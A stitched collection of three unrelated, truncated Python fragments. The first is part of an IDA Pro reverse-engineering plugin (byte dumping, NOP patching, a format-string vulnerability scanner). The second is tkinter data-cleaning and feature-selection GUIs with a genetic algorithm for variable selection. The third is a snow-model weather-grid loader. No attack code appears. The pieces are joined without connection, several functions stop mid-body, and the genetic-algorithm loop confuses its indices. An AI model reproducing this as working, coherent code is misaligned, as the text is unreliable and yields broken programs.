ACTION_HX_COPYNAME = "lazyida:hx_copyname"
ACTION_HX_GOTOCLIP = "lazyida:hx_gotoclip"
u16 = lambda x: unpack("<H", x)[0]
u32 = lambda x: unpack("<I", x)[0]
u64 = lambda x: unpack("<Q", x)[0]
ARCH = 0
BITS = 0
def copy_to_clip(data):
QApplication.clipboard().setText(data)
def clip_text():
return QApplication.clipboard().text()
def parse_location(loc):
try:
loc = int(loc, 16)
except ValueError:
try:
loc = idc.get_name_ea_simple(loc.encode().strip())
except:
return idaapi.BADADDR
return loc
class VulnChoose(idaapi.Choose):
"""
Chooser class to display result of format string vuln scan
"""
def __init__(self, title, items, icon, embedded=False):
idaapi.Choose.__init__(self, title, [["Address", 20], ["Function", 30], ["Format", 30]], embedded=embedded)
self.items = items
self.icon = 45
def GetItems(self):
return self.items
def SetItems(self, items):
self.items = [] if items is None else items
def OnClose(self):
pass
def OnGetLine(self, n):
return self.items[n]
def OnGetSize(self):
return len(self.items)
def OnSelectLine(self, n):
idc.jumpto(int(self.items[n][0], 16))
class hotkey_action_handler_t(idaapi.action_handler_t):
"""
Action handler for hotkey actions
"""
def __init__(self, action):
idaapi.action_handler_t.__init__(self)
self.action = action
def activate(self, ctx):
if self.action == ACTION_COPYEA:
ea = idc.get_screen_ea()
if ea != idaapi.BADADDR:
copy_to_clip("0x%X" % ea)
print("Address 0x%X has been copied to clipboard" % ea)
elif self.action == ACTION_GOTOCLIP:
loc = parse_location(clip_text())
if loc != idaapi.BADADDR:
print("Goto location 0x%x" % loc)
idc.jumpto(loc)
return 1
def update(self, ctx):
if idaapi.IDA_SDK_VERSION >= 770:
target_attr = "widget_type"
else:
target_attr = "form_type"
if ctx.__getattr__(target_attr) in (idaapi.BWN_DISASM, idaapi.BWN_DUMP):
return idaapi.AST_ENABLE_FOR_WIDGET
else:
return idaapi.AST_DISABLE_FOR_WIDGET
class menu_action_handler_t(idaapi.action_handler_t):
"""
Action handler for menu actions
"""
def __init__(self, action):
idaapi.action_handler_t.__init__(self)
self.action = action
def activate(self, ctx):
if self.action in ACTION_CONVERT:
# convert
t0, t1, view = idaapi.twinpos_t(), idaapi.twinpos_t(), idaapi.get_current_viewer()
if idaapi.read_selection(view, t0, t1):
start, end = t0.place(view).toea(), t1.place(view).toea()
size = end - start
elif idc.get_item_size(idc.get_screen_ea()) > 1:
start = idc.get_screen_ea()
size = idc.get_item_size(start)
end = start + size
else:
return False
data = idc.get_bytes(start, size)
if isinstance(data, str): # python2 compatibility
data = bytearray(data)
name = idc.get_name(start, idc.GN_VISIBLE)
if not name:
name = "data"
if data:
print("\n[+] Dump 0x%X - 0x%X (%u bytes) :" % (start, end, size))
if self.action == ACTION_CONVERT[0]:
# escaped string
output = '"%s"' % "".join("\\x%02X" % b for b in data)
elif self.action == ACTION_CONVERT[1]:
# hex string
output = "".join("%02X" % b for b in data)
elif self.action == ACTION_CONVERT[2]:
# C array
output = "unsigned char %s[%d] = {" % (name, size)
for i in range(size):
if i % 16 == 0:
output += "\n "
output += "0x%02X, " % data[i]
output = output[:-2] + "\n};"
elif self.action == ACTION_CONVERT[3]:
# C array word
data += b"\x00"
array_size = (size + 1) // 2
output = "unsigned short %s[%d] = {" % (name, array_size)
for i in range(0, size, 2):
if i % 16 == 0:
output += "\n "
output += "0x%04X, " % u16(data[i:i+2])
output = output[:-2] + "\n};"
elif self.action == ACTION_CONVERT[4]:
# C array dword
data += b"\x00" * 3
array_size = (size + 3) // 4
output = "unsigned int %s[%d] = {" % (name, array_size)
for i in range(0, size, 4):
if i % 32 == 0:
output += "\n "
output += "0x%08X, " % u32(data[i:i+4])
output = output[:-2] + "\n};"
elif self.action == ACTION_CONVERT[5]:
# C array qword
data += b"\x00" * 7
array_size = (size + 7) // 8
output = "unsigned long %s[%d] = {" % (name, array_size)
for i in range(0, size, 8):
if i % 32 == 0:
output += "\n "
output += "0x%016X, " % u64(data[i:i+8])
output = output[:-2] + "\n};"
elif self.action == ACTION_CONVERT[6]:
# python list
output = "[%s]" % ", ".join("0x%02X" % b for b in data)
elif self.action == ACTION_CONVERT[7]:
# python list word
data += b"\x00"
output = "[%s]" % ", ".join("0x%04X" % u16(data[i:i+2]) for i in range(0, size, 2))
elif self.action == ACTION_CONVERT[8]:
# python list dword
data += b"\x00" * 3
output = "[%s]" % ", ".join("0x%08X" % u32(data[i:i+4]) for i in range(0, size, 4))
elif self.action == ACTION_CONVERT[9]:
# python list qword
data += b"\x00" * 7
output = "[%s]" % ", ".join("%#018X" % u64(data[i:i+8]) for i in range(0, size, 8)).replace("0X", "0x")
copy_to_clip(output)
print(output)
elif self.action == ACTION_XORDATA:
t0, t1, view = idaapi.twinpos_t(), idaapi.twinpos_t(), idaapi.get_current_viewer()
if idaapi.read_selection(view, t0, t1):
start, end = t0.place(view).toea(), t1.place(view).toea()
else:
if idc.get_item_size(idc.get_screen_ea()) > 1:
start = idc.get_screen_ea()
end = start + idc.get_item_size(start)
else:
return False
data = idc.get_bytes(start, end - start)
if isinstance(data, str): # python2 compatibility
data = bytearray(data)
x = idaapi.ask_long(0, "Xor with...")
if x:
x &= 0xFF
print("\n[+] Xor 0x%X - 0x%X (%u bytes) with 0x%02X:" % (start, end, end - start, x))
print(repr("".join(chr(b ^ x) for b in data)))
elif self.action == ACTION_FILLNOP:
t0, t1, view = idaapi.twinpos_t(), idaapi.twinpos_t(), idaapi.get_current_viewer()
if idaapi.read_selection(view, t0, t1):
start, end = t0.place(view).toea(), t1.place(view).toea()
idaapi.patch_bytes(start, b"\x90" * (end - start))
print("\n[+] Fill 0x%X - 0x%X (%u bytes) with NOPs" % (start, end, end - start))
elif self.action == ACTION_SCANVUL:
print("\n[+] Finding Format String Vulnerability...")
found = []
for addr in idautils.Functions():
name = idc.get_func_name(addr)
if "printf" in name and "v" not in name and idc.get_segm_name(addr) in (".text", ".plt", ".idata", ".plt.got"):
xrefs = idautils.CodeRefsTo(addr, False)
for xref in xrefs:
vul = self.check_fmt_function(name, xref)
if vul:
found.append(vul)
if found:
print("[!] Done! %d possible vulnerabilities found." % len(found))
ch = VulnChoose("Vulnerability", found, None, False)
ch.Show()
else:
print("[-] No format string vulnerabilities found.")
else:
return 0
return 1
def update(self, ctx):
return idaapi.AST_ENABLE_ALWAYS
@staticmethod
def check_fmt_function(name, addr):
"""
Check if the format string argument is not valid
"""
function_head = idc.get_func_attr(addr, idc.FUNCATTR_START)
while True:
addr = idc.prev_head(addr)
op = idc.print_insn_mnem(addr).lower()
dst = idc.print_operand(addr, 0)
if op in ("ret", "retn", "jmp", "b") or addr < function_head:
return
c = idc.get_cmt(addr, 0)
if c and c.lower() == "format":
break
elif name.endswith(("snprintf_chk",)):
if op in ("mov", "lea") and dst.endswith(("r8", "r8d", "[esp+10h]")):
break
elif name.endswith(("sprintf_chk",)):
if op in ("mov", "lea") and (dst.endswith(("rcx", "[esp+0Ch]", "R3")) or
dst.endswith("ecx") and BITS == 64):
break
elif name.endswith(("snprintf", "fnprintf")):
if op in ("mov", "lea") and (dst.endswith(("rdx", "[esp+8]", "R2")) or
dst.endswith("edx") and BITS== 64):
break
elif name.endswith(("sprintf", "fprintf", "dprintf", "printf_chk")):
if op in ("mov", "lea") and (dst.endswith(("rsi", "[esp+4]", "R1")) or
dst.endswith("esi") and BITS == 64):
break
elif name.endswith("printf"):
if op in ("mov", "lea") and (dst.endswith(("rdi", "[esp]", "R0")) or
dst.endswith("edi") and BITS == 64):
break
# format arg found, check its type and value
# get last oprend
op_index = idc.generate_disasm_line(addr, 0).count(",")
op_type = idc.get_operand_type(addr, op_index)
opnd = idc.print_operand(addr, op_index)
if op_type == idc.o_reg:
# format is in register, try to track back and get the source
_addr = addr
while True:
_addr = idc.prev_head(_addr)
_op = idc.print_insn_mnem(_addr).lower()
if _op in ("ret", "retn", "jmp", "b") or _addr < function_head:
break
elif _op in ("mov", "lea", "ldr") and idc.print_operand(_addr, 0) == opnd:
op_type = idc.get_operand_type(_addr, 1)
opnd = idc.print_operand(_addr, 1)
addr = _addr
break
if op_type == idc.o_imm or op_type == idc.o_mem:
# format is a memory address, check if it's in writable segment
op_addr = idc.get_operand_value(addr, op_index)
seg = idaapi.getseg(op_addr)
if seg:
if not seg.perm & idaapi.SEGPERM_WRITE:
# format is in read-only segment
return
print("0x%X: Possible Vulnerability: %s, format = %s" % (addr, name, opnd))
return ["0x%X" % addr, name, opnd]
class hexrays_action_handler_t(idaapi.action_handler_t):
"""
Action handler for hexrays actions
"""
def __init__(self, action):
idaapi.action_handler_t.__init__(self)
self.action = action
self.ret_type = {}
def activate(self, ctx):
if self.action == ACTION_HX_REMOVERETTYPE:
vdui = idaapi.get_widget_vdui(ctx.widget)
self.remove_rettype(vdui)
vdui.refresh_ctext()
elif self.action == ACTION_HX_COPYEA:
ea = idaapi.get_screen_ea()
if ea != idaapi.BADADDR:
copy_to_clip("0x%X" % ea)
print("Address 0x%X has been copied to clipboard" % ea)
elif self.action == ACTION_HX_COPYNAME:
name = idaapi.get_highlight(idaapi.get_current_viewer())[0]
if name:
copy_to_clip(name)
print("%s has been copied to clipboard" % name)
elif self.action == ACTION_HX_GOTOCLIP:
loc = parse_location(clip_text())
print("Goto location 0x%x" % loc)
idc.jumpto(loc)
else:
return 0
return 1
def update(self, ctx):
vdui = idaapi.get_widget_vdui(ctx.widget)
return idaapi.AST_ENABLE_FOR_WIDGET if vdui else idaapi.AST_DISABLE_FOR_WIDGET
def remove_rettype(self, vu):
| |
# Creates main window
root = tk.Tk()
root.title("Data Cleaning")
root.geometry("600x800")
root.resizable(width=True, height=True)
canvas = tk.Canvas(root, borderwidth=0) #, background="#ffffff")
win_root = tk.Frame(canvas) #, background="#ffffff")
vsb = tk.Scrollbar(root, orient="vertical", command=canvas.yview)
vsb.pack(side="right", fill="y")
canvas.configure(yscrollcommand=vsb.set)
canvas.pack(side="left", fill="both", expand=True)
canvas.create_window((4,4), window=win_root, anchor="nw")
win_root.bind("<Configure>", lambda event, canvas=canvas: onFrameConfigure(canvas))
label1 = ttk.Label(win_root, text="- Human Assisted Cleaner -\n",font=("Helvetica", 12), foreground="black")
label1.grid(row=0,column=1)
#
# id_entry = tk.StringVar()
# id_entered = ttk.Entry(win_root, width = 30, textvariable = id_entry)
# id_entered.grid(row = 0, column = 1, sticky = tk.E)
# button0 = tk.Button(win_root, text = "Browse computer")
# button0.bind ("<Button-1>", start)
# button0.grid(row=0, column=2, sticky=tk.W)
# button0.focus()
button1 = tk.Button(win_root,text = "Go", command=lambda: cleannan())
button2 = tk.Button(win_root,text = "Go", command=lambda: cleanspaces())
button3 = tk.Button(win_root,text = "Go", command=lambda: processoutliers())
nanrad = tk.IntVar()
state = ttk.Label(win_root, text="\nPlease, press \"Browse computer\" to select a file to clean.")
state.grid(row=1000, column=0, columnspan=3, sticky=tk.W)
start()
root.mainloop()
########################################
#L H6 Human assisted feature selection
########################################
# data = pd.read_csv("Example.csv")
def HAfeatureselection ():
import pandas as pd
import numpy as np
import tkinter as tk
from tkinter import ttk
from tkinter import filedialog
from sklearn import linear_model
data = pd.read_csv("https://dl.dropboxusercontent.com/u/28535341/dev.csv")
def open_file():
filename = filedialog.askopenfilename(
title = "Choose your file",
filetypes = (("csv files", "*.csv"), ("all files", "*.*")),
defaultextension = '.csv',
initialdir = '.')
return filename
def save_file():
filename = filedialog.asksaveasfilename(
title = "Save file",
filetypes = (("csv files", "*.csv"), ("all files", "*.*")),
defaultextension = '.csv',
initialdir = '.',
initialfile = 'transformed.csv')
if filename != "":
data.to_csv(filename, index=False)
def start():
# global data
global c
# fich = open_file()
# id_entry.set (fich)
# data = pd.read_csv (fich)
# state.config(text = "" )
# a = tk.Label(win_root, text="Select the features you want to include:")
# a.grid(row=1, column=0, sticky=tk.W, columnspan=2)
c=0
# Usually the target variable is the last column, then it is not offered as a choice
for column in data.columns[:-1]:
# a = tk.Label(win_root, text=column)
# a.grid(row=2+c, column=0, sticky=tk.E)
enval = tk.StringVar()
en = tk.Checkbutton(win_root, text=column, variable = enval, textvariable = column)
en.grid(row=2+c, column = 0, sticky=tk.W)
en.deselect()
entriesval.append(enval)
c += 1
button1.grid(row=2+c, column=0, sticky=tk.W)
button1.focus()
def checkselected():
global data
global c
checked_fields = []
count = 0
cols = list(data.columns)
for entry in entriesval:
e = entry.get()
if e=="1":
checked_fields.append(cols[count])
count += 1
button5=tk.Button(win_root,text="Exit",command=lambda: root.destroy())
button5.grid(row=2+c, column=1, sticky=tk.W)
# button4.focus()
x = data[checked_fields]
y = data['ob_target']
Fin_model = linear_model.LinearRegression()
Fin_model.fit(x, y)
sw_fin = Fin_model.score(x,y)
a = tk.Label(win_root, text="Using the variables you selected, the model score is "+str(sw_fin))
a.grid(row=4+c, column=0, columnspan = 3, sticky=tk.W)
state.config(text = "Select new variables to optimise your model, press Go to re-score" )
def onFrameConfigure(canvas):
import pandas as pd
'''Reset the scroll region to encompass the inner frame'''
canvas.configure(scrollregion=canvas.bbox("all"))
# START MAIN
np.seterr(invalid='ignore')
entriesval = []
# choices = []
data = pd.DataFrame
c = 0
# Creates main window
root = tk.Tk()
root.title("Feature Selection")
root.geometry("600x800")
root.resizable(width=True, height=True)
canvas = tk.Canvas(root, borderwidth=0) #, background="#ffffff")
win_root = tk.Frame(canvas) #, background="#ffffff")
vsb = tk.Scrollbar(root, orient="vertical", command=canvas.yview)
vsb.pack(side="right", fill="y")
canvas.configure(yscrollcommand=vsb.set)
canvas.pack(side="left", fill="both", expand=True)
canvas.create_window((4,4), window=win_root, anchor="nw")
win_root.bind("<Configure>", lambda event, canvas=canvas: onFrameConfigure(canvas))
label1 = ttk.Label(win_root, text="Choose features to test:",font=("Helvetica", 12), foreground="black")
label1.grid(row=0,column=0)
# id_entry = tk.StringVar()
# id_entered = ttk.Entry(win_root, width = 30, textvariable = id_entry)
# id_entered.grid(row = 0, column = 1, sticky = tk.E)
#button0 = tk.Button(win_root, text = "Browse computer", command=lambda: start())
#button0.bind ("<Button-1>")
#button0.grid(row=0, column=2, sticky=tk.W)
#button0.focus()
button1 = tk.Button(win_root,text = "Go", command=lambda: checkselected())
# state = ttk.Label(win_root, text="\nPlease, press \"Browse computer\" to select a file to clean.")
state = ttk.Label(win_root, text="")
state.grid(row=1000, column=0, columnspan=3, sticky=tk.W)
data = pd.read_csv("https://dl.dropboxusercontent.com/u/28535341/dev.csv")
start()
#def human_variable_selection(data):
root.mainloop()
data = pd.read_csv("https://dl.dropboxusercontent.com/u/28535341/dev.csv")
########################################
#A Genetic algorithm
########################################
def ga():
import pandas as pd
import numpy as np
import re
import deap
from deap import creator, base, tools, algorithms
import random
from sklearn import metrics, linear_model
data = pd.read_csv("https://dl.dropboxusercontent.com/u/28535341/dev.csv")
#df = pd.read_csv("dev.csv") #DEV-SAMPLE
#dfo = pd.read_csv("oot0.csv")#OUT-OF-TIME SAMPLE
#df = pd.read_csv("/home/ab/Documents/MBD/financial_analytics/variable_creation/data/data.csv")
#len(df.columns)
in_model = []
list_ib = set() #input binary
list_icn = set() #input categorical nominal
list_ico = set() #input categorical ordinal
list_if = set() #input numerical continuos (input float)
list_inputs = set()
output_var = 'ob_target'
for var_name in data.columns:
if re.search('^ib_',var_name):
list_inputs.add(var_name)
list_ib.add(var_name)
elif re.search('^icn_',var_name):
list_inputs.add(var_name)
list_icn.add(var_name)
elif re.search('^ico_',var_name):
list_inputs.add(var_name)
list_ico.add(var_name)
elif re.search('^if_',var_name):
list_inputs.add(var_name)
list_if.add(var_name)
elif re.search('^ob_',var_name):
output_var = var_name
#####
#SETING UP THE GENETIC ALGORITHM and CALCULATING STARTING POOL (STARTING CANDIDATE POPULATION)
#####
creator.create("FitnessMax", base.Fitness, weights=(1.0,))
creator.create("Individual", list, fitness=creator.FitnessMax)
toolbox = base.Toolbox()
toolbox.register("attr_bool", random.randint, 0, 1)
toolbox.register("individual", tools.initRepeat, creator.Individual, toolbox.attr_bool, n=len(list_inputs))
toolbox.register("population", tools.initRepeat, list, toolbox.individual)
def evalOneMax(individual):
return sum(individual),
toolbox.register("evaluate", evalOneMax)
toolbox.register("mate", tools.cxTwoPoint)
toolbox.register("mutate", tools.mutFlipBit, indpb=0.05)
toolbox.register("select", tools.selTournament, tournsize=3)
NPOPSIZE = (len(data.columns) -2) #RANDOM STARTING POOL SIZE
population = toolbox.population(n=NPOPSIZE)
#####
#ASSESSING GINI ON THE STARTING POOL
#####
dic_gini={}
for i in range(np.shape(population)[0]):
# TRASLATING DNA INTO LIST OF VARIABLES (1-81)
var_model = []
for j in range(np.shape(population)[0]):
if (population[i])[j]==1:
var_model.append(list(list_inputs)[j])
# ASSESSING GINI INDEX FOR EACH INVIVIDUAL IN THE INITIAL POOL
X_train=data[var_model]
Y_train=data[output_var]
######
# CHANGE_HERE - START: YOU ARE VERY LIKELY USING A DIFFERENT TECHNIQUE BY NOW. SO CHANGE TO YOURS.
#####
'''
rf = RandomForestClassifier(n_estimators=100, random_state=50)
rf1 = rf.fit(X_train, Y_train)
Y_predict = rf1.predict_proba(X_train)
Y_predict = Y_predict[:,1]
'''
Fin_model = linear_model.LinearRegression()
Fin_model.fit(X_train, Y_train)
Y_predict = Fin_model.predict(X_train)
######
# CHANGE_HERE - END: YOU ARE VERY LIKELY USING A DIFFERENT TECHNIQUE BY NOW. SO CHANGE TO YOURS.
#####
######
# CHANGE_HERE - START: HERE IT USES THE DEVELOPMENT GINI TO SELECT VARIABLES, YOU SHOULD A DIFFERENT GINI. EITHER THE OOT GINI OR THE SQRT(DEV_GINI*OOT_GINI)
#####
fpr, tpr, thresholds = metrics.roc_curve(Y_train, Y_predict)
auc = metrics.auc(fpr, tpr)
gini_power = abs(2*auc-1)
######
# CHANGE_HERE - END: HERE IT USES THE DEVELOPMENT GINI TO SELECT VARIABLES, YOU SHOULD A DIFFERENT GINI. EITHER THE OOT GINI OR THE SQRT(DEV_GINI*OOT_GINI)
#####
gini=str(gini_power)+";"+str(population[j]).replace('[','').replace(', ','').replace(']','')
dic_gini[gini]=population[j]
list_gini=sorted(dic_gini.keys(),reverse=True)
#####
#GENETIC ALGORITHM MAIN LOOP - START
# - ITERATING MANY TIMES UNTIL NO IMPROVMENT HAPPENS IN ORDER TO FIND THE OPTIMAL SET OF CHARACTERISTICS (VARIABLES)
#####
sum_current_gini=0.0
sum_current_gini_1=0.0
sum_current_gini_2=0.0
first=0
OK = 1
a=0
while OK: #REPEAT UNTIL IT DO NOT IMPROVE, AT LEAST A LITLE, THE GINI IN 2 GENERATIONS
a=a+1
OK=0
####
# GENERATING OFFSPRING - START
####
offspring = algorithms.varAnd(population, toolbox, cxpb=0.5, mutpb=0.1) #CROSS-X PROBABILITY = 50%, MUTATION PROBABILITY=10%
fits = toolbox.map(toolbox.evaluate, offspring)
for fit, ind in zip(fits, offspring):
ind.fitness.values = fit
population =toolbox.select(offspring, k=len(population))
####
# GENERATING OFFSPRING - END
####
sum_current_gini_2=sum_current_gini_1
sum_current_gini_1=sum_current_gini
sum_current_gini=0.0
#####
#ASSESSING GINI ON THE OFFSPRING - START
#####
for j in range(np.shape(population)[0]):
if population[j] not in dic_gini.values():
var_model = []
for i in range(np.shape(population)[0]):
if (population[j])[i]==1:
var_model.append(list(list_inputs)[i])
X_train=data[var_model]
Y_train=data[output_var]
######
# CHANGE_HERE - START: YOU ARE VERY LIKELY USING A DIFFERENT TECHNIQUE BY NOW. SO CHANGE TO YOURS.
#####
Fin_model = linear_model.LinearRegression()
Fin_model.fit(X_train, Y_train)
Y_predict = Fin_model.predict(X_train)
'''
rf = RandomForestClassifier(n_estimators=100, random_state=50)
rf1 = rf.fit(X_train, Y_train)
Y_predict = rf1.predict_proba(X_train)
Y_predict = Y_predict[:,1]
'''
######
# CHANGE_HERE - END: YOU ARE VERY LIKELY USING A DIFFERENT TECHNIQUE BY NOW. SO CHANGE TO YOURS.
#####
######
# CHANGE_HERE - START: HERE IT USES THE DEVELOPMENT GINI TO SELECT VARIABLES, YOU SHOULD A DIFFERENT GINI. EITHER THE OOT GINI OR THE SQRT(DEV_GINI*OOT_GINI)
#####
fpr, tpr, thresholds = metrics.roc_curve(Y_train, Y_predict)
auc = metrics.auc(fpr, tpr)
gini_power = abs(2*auc-1)
######
# CHANGE_HERE - END: HERE IT USES THE DEVELOPMENT GINI TO SELECT VARIABLES, YOU SHOULD A DIFFERENT GINI. EITHER THE OOT GINI OR THE SQRT(DEV_GINI*OOT_GINI)
#####
gini=str(gini_power)+";"+str(population[j]).replace('[','').replace(', ','').replace(']','')
dic_gini[gini]=population[j]
#####
#ASSESSING GINI ON THE OFFSPRING - END
#####
#####
#SELECTING THE BEST FITTED AMONG ALL EVER CREATED POPULATION AND CURRENT OFFSPRING - START
#####
list_gini=sorted(dic_gini.keys(),reverse=True)
population=[]
for i in list_gini[:NPOPSIZE]:
| |
import logging
import os
import netCDF4 as nc
import numpy as np
import pandas as pd
import pytz
import utm
from smrf.envphys import phys
from smrf.envphys.radiation import get_hrrr_cloud
try:
from weather_forecast_retrieval import hrrr
except:
pass
class grid():
"""
Class for loading and storing the data, either from
a gridded dataset in:
- NetCDF format
- other format
Inputs to data() are:
- dataConfig, from the [gridded] section
- start_date, datetime object
- end_date, datetime object
"""
def __init__(self, dataConfig, topo, start_date, end_date,
time_zone='UTC', dataType='wrf', tempDir=None,
forecast_flag=False, day_hour=0, n_forecast_hours=18):
if (tempDir is None) | (tempDir == 'WORKDIR'):
tempDir = os.environ['WORKDIR']
self.tempDir = tempDir
self.dataConfig = dataConfig
self.dataType = dataType
self.start_date = start_date
self.end_date = end_date
self.time_zone = time_zone
self.forecast_flag = forecast_flag
self.day_hour = day_hour
self.n_forecast_hours = n_forecast_hours
# degree offset for a buffer around the model domain
self.offset = 0.1
self.force_zone_number = None
if 'zone_number' in dataConfig:
self.force_zone_number = dataConfig['zone_number']
# The data that will be output
self.variables = ['air_temp', 'vapor_pressure', 'precip', 'wind_speed',
'wind_direction', 'cloud_factor', 'thermal']
# get the bounds of the model so that only the values inside
# the model domain are used
self.x = topo.x
self.y = topo.y
self.lat = topo.topoConfig['basin_lat']
self.lon = topo.topoConfig['basin_lon']
# get the zone number and the bounding box
u = utm.from_latlon(topo.topoConfig['basin_lat'],
topo.topoConfig['basin_lon'],
self.force_zone_number)
self.zone_number = u[2]
self.zone_letter = u[3]
ur = np.array(utm.to_latlon(np.max(self.x), np.max(self.y), self.zone_number, self.zone_letter))
ll = np.array(utm.to_latlon(np.min(self.x), np.min(self.y), self.zone_number, self.zone_letter))
buff = 0.1 # buffer of bounding box in degrees
ur += buff
ll -= buff
self.bbox = np.append(np.flipud(ll), np.flipud(ur))
self._logger = logging.getLogger(__name__)
# load the data
if dataType == 'wrf':
self.load_from_wrf()
elif dataType == 'netcdf':
self.load_from_netcdf()
elif dataType == 'hrrr_grib':
self.load_from_hrrr()
else:
raise Exception('Could not resolve dataType')
# # correct for the timezone
# for v in self.variables:
# d = getattr(self, v)
# setattr(self, v, d.tz_localize(tz=self.time_zone))
def model_domain_grid(self):
dlat = np.zeros((2,))
dlon = np.zeros_like(dlat)
dlat[0], dlon[0] = utm.to_latlon(np.min(self.x), np.min(self.y),
int(self.dataConfig['zone_number']),
self.dataConfig['zone_letter'])
dlat[1], dlon[1] = utm.to_latlon(np.max(self.x), np.max(self.y),
int(self.dataConfig['zone_number']),
self.dataConfig['zone_letter'])
# add a buffer
dlat[0] -= self.offset
dlat[1] += self.offset
dlon[0] -= self.offset
dlon[1] += self.offset
return dlat, dlon
def load_from_hrrr(self):
"""
Load the data from the High Resolution Rapid Refresh (HRRR) model
The variables returned from the HRRR class in dataframes are
- metadata
- air_temp
- relative_humidity
- precip_int
- cloud_factor
- wind_u
- wind_v
The function will take the keys and load them into the appropriate
objects within the `grid` class. The vapor pressure will be calculated
from the `air_temp` and `relative_humidity`. The `wind_speed` and
`wind_direction` will be calculated from `wind_u` and `wind_v`
"""
self._logger.info('Reading data from from HRRR directory: {}'.format(
self.dataConfig['hrrr_directory']
))
# forecast hours for each run hour
if not self.forecast_flag:
fcast = [0]
else:
fcast = range(self.n_forecast_hours + 1)
metadata, data = hrrr.HRRR(external_logger=self._logger).get_saved_data(
self.start_date,
self.end_date,
self.bbox,
output_dir=self.dataConfig['hrrr_directory'],
force_zone_number=self.force_zone_number,
forecast=fcast,
forecast_flag=self.forecast_flag,
day_hour=self.day_hour)
# the data may be returned as type=object, convert to numeric
# correct for the timezone
for key in data.keys():
data[key] = data[key].apply(pd.to_numeric)
data[key] = data[key].tz_localize(tz=self.time_zone)
self.metadata = metadata
idx = data['air_temp'].index
cols = data['air_temp'].columns
self._logger.debug('Loading air_temp')
self.air_temp = data['air_temp']
# calculate vapor pressure
self._logger.debug('Loading vapor_pressure')
vp = phys.rh2vp(data['air_temp'].values, data['relative_humidity'].values)
self.vapor_pressure = pd.DataFrame(vp, index=idx, columns=cols)
# calculate the wind speed and wind direction
self._logger.debug('Loading wind_speed and wind_direction')
min_speed = 0.47
# calculate the wind speed
s = np.sqrt(data['wind_u']**2 + data['wind_v']**2)
s[s < min_speed] = min_speed
# calculate the wind direction
d = np.degrees(np.arctan2(data['wind_v'], data['wind_u']))
ind = d < 0
d[ind] = d[ind] + 360
self.wind_speed = pd.DataFrame(s, index=idx, columns=cols)
self.wind_direction = pd.DataFrame(d, index=idx, columns=cols)
self._logger.debug('Loading precip')
self.precip = pd.DataFrame(data['precip_int'], index=idx, columns=cols)
self._logger.debug('Loading solar')
# solar_beam = pd.DataFrame(data['solar_beam'], index=idx, columns=cols)
# solar_diffuse = pd.DataFrame(data['solar_diffuse'], index=idx, columns=cols)
# solar = solar_beam + solar_diffuse
solar = pd.DataFrame(data['short_wave'], index=idx, columns=cols)
self._logger.debug('Calculating cloud factor')
self.cloud_factor = get_hrrr_cloud(solar, self.metadata, self._logger,
self.lat, self.lon)
def load_from_netcdf(self):
"""
Load the data from a generic netcdf file
Args:
lat: latitude field in file, 1D array
lon: longitude field in file, 1D array
elev: elevation field in file, 2D array
variable: variable name in file, 3D array
"""
self._logger.info('Reading data coming from netcdf: {}'.format(
self.dataConfig['netcdf_file'])
)
f = nc.Dataset(self.dataConfig['netcdf_file'], 'r')
# GET THE LAT, LON, ELEV FROM THE FILE
mlat = f.variables['lat'][:]
mlon = f.variables['lon'][:]
mhgt = f.variables['elev'][:]
if mlat.ndim != 2 & mlon.ndim !=2:
[mlon, mlat] = np.meshgrid(mlon, mlat)
# get that grid cells in the model domain
dlat, dlon = self.model_domain_grid()
# get the values that are in the modeling domain
ind = (mlat >= dlat[0]) & \
(mlat <= dlat[1]) & \
(mlon >= dlon[0]) & \
(mlon <= dlon[1])
mlat = mlat[ind]
mlon = mlon[ind]
mhgt = mhgt[ind]
# GET THE METADATA
# create some fake station names based on the index
a = np.argwhere(ind)
primary_id = ['grid_y%i_x%i' % (i[0], i[1]) for i in a]
self._logger.debug('{} grid cells within model domain'.format(len(a)))
# create a metadata dataframe to store all the grid info
metadata = pd.DataFrame(index=primary_id,
columns=('X', 'Y', 'latitude',
'longitude', 'elevation'))
metadata['latitude'] = mlat.flatten()
metadata['longitude'] = mlon.flatten()
metadata['elevation'] = mhgt.flatten()
metadata = metadata.apply(apply_utm,
args=(self.force_zone_number,),
axis=1)
self.metadata = metadata
# GET THE TIMES
t = f.variables['time']
time = nc.num2date(t[:].astype(int), t.getncattr('units'), t.getncattr('calendar'))
time = [tm.replace(microsecond=0) for tm in time] # drop the milliseconds
# subset the times to only those needed
# tzinfo = pytz.timezone(self.time_zone)
# time = []
# for t in tt:
# time.append(t.replace(tzinfo=tzinfo))
# time = np.array(time)
# time_ind = (time >= pd.to_datetime(self.start_date)) & \
# (time <= pd.to_datetime(self.end_date))
# time = time[time_ind]
# time_idx = np.where(time_ind)[0]
# GET THE DATA, ONE AT A TIME
for v in self.variables:
if v in self.dataConfig:
v_file = self.dataConfig[v]
self._logger.debug('Loading {} from {}'.format(v, v_file))
df = pd.DataFrame(index=time, columns=primary_id)
for i in a:
g = 'grid_y%i_x%i' % (i[0], i[1])
df[g] = f.variables[v_file][:, i[0], i[1]]
# deal with any fillValues
try:
fv = f.variables[v_file].getncattr('_FillValue')
df.replace(fv, np.nan, inplace=True)
except:
pass
df = df[self.start_date:self.end_date]
setattr(self, v, df.tz_localize(tz=self.time_zone))
def load_from_wrf(self):
"""
Load the data from a netcdf file. This was setup to work with a WRF
output file, i.e. wrf_out so it's going to look for the following
variables:
- Times
- XLAT
- XLONG
- HGT
- T2
- DWPT
- GLW
- RAINNC
- CLDFRA
- UGRD
- VGRD
Each cell will be identified by grid_IX_IY
"""
self.wrf_variables = ['GLW', 'T2', 'DWPT', 'UGRD',
'VGRD', 'CLDFRA', 'RAINNC']
# self.variables = ['thermal','air_temp','dew_point','wind_speed',
# 'wind_direction','cloud_factor','precip']
self._logger.info('Reading data coming from WRF output: {}'.format(
self.dataConfig['wrf_file']
))
f = nc.Dataset(self.dataConfig['wrf_file'])
# DETERMINE THE MODEL DOMAIN AREA IN THE GRID
dlat, dlon = self.model_domain_grid()
# get the values that are in the modeling domain
ind = (f.variables['XLAT'] >= dlat[0]) & \
(f.variables['XLAT'] <= dlat[1]) & \
(f.variables['XLONG'] >= dlon[0]) & \
(f.variables['XLONG'] <= dlon[1])
mlat = f.variables['XLAT'][:][ind]
mlon = f.variables['XLONG'][:][ind]
mhgt = f.variables['HGT'][:][ind]
# GET THE METADATA
# create some fake station names based on the index
a = np.argwhere(ind)
primary_id = ['grid_y%i_x%i' % (i[0], i[1]) for i in a]
self._logger.debug('{} grid cells within model domain'.format(len(a)))
# create a metadata dataframe to store all the grid info
metadata = pd.DataFrame(index=primary_id,
columns=('X', 'Y', 'latitude',
